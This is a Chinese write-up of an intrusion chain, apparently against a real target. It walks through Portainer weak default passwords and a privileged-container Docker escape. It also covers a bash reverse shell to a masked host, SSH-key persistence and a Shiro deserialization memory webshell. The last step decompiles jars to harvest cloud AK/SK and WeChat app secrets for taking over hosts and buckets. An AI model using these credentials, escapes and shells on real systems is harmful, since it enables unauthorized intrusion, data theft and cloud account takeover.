记一次简单的Docker逃逸+反编译jar接管云主机
一. 思路
1 | Portainer弱口令-Docker逃逸-写入SSH公钥 shiro反序列化-注入内存马-反编译jar-接管云主机 |
二.简单的Docker逃逸
1.Protainer弱口令
Portainer常见的操作docker的图形化工具,轻量又好用,但是有不少Portainer存在弱口令,诸如:portainer/portainer;admin/12345678;portainer/12345678等等,注意密码长度差不多都是8位……
2.特权模式逃逸
弱口令进入portainer之后,尝试挂载根目录进行逃逸失败,随即尝试特权模式进行Docker逃逸
添加容器:
以特权模式运行容器:
随后部署容器即可:
随后查看容器列表、确保容器正常运行:
以root进入容器:
正常情况下,很多命令不能使用:
首先、查看当前磁盘分区情况,获得宿主机分区:
1 | fdisk -l |
获取宿主机磁盘为/dev/vda1
挂载宿主机磁盘:
1 | mkdir li1u ----创建文件 |
3.反弹shell
尝试反弹shell:
1 | bash -i >& /dev/tcp/xxx/8000 0>&1 |
成功反弹:
4.写入SSH公钥
反弹shell成功之后,尝试写ssh公钥做个小的权限维持:
用xshell生成一个用户密钥:
随后点击属性-公钥,复制公钥内容:
使用echo命令追加公钥到authorized_keys中:
cat authorized_keys追加成功:
尝试使用xshell连接(前期信息收集得知ssh开放端口2021)
用户身份验证选择publickey(公钥登录),平常都是用户名密码连接:
点击设置,选择刚刚生成的密钥,填入自己设置的密码进行连接即可:
接下来就是内网了……
三. 反编译jar接管云主机
1. shiro反序列化-注内存马
常规操作,就不多说了,打入冰蝎内存马:
2.扩大成果(查找敏感信息)
连接之后,尝试查找敏感信息:
前期信息收集得知目标为SpringBoot框架,spring的配置文件都是yml和properties,linux直接查找指定后缀名的文件,未发现敏感信息
1 | find / -name *.yml .properties |
3.反编译jar获取大量配置信息
随后翻到网站根目录,发现了不同文件夹下边有三个jar包,应该都打包成jar运行了。
直接下载jar到本地,对jar包进行反编译:
方法一:修改文件扩展名
修改jar扩展名为zip等,直接解压即可:
在clsses文件夹下,找到properties配置文件:
获取ak/sk:
使用ak/sk利用工具或者行云管家导入云主机即可
其中OSS存储桶中发现大量敏感信息
还有vx小程序的appid和secret,直接调用官方API即可:
1 | https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid=APPID&secret=APPSECRET |
利用官方API还可获取小程序反馈情况、小程序用户访问数据、发送信息等等等等,几近接管小程序
方法二:jd-gui反编译jar
直接拖动jar包到jd-gui中即可:同样的配置信息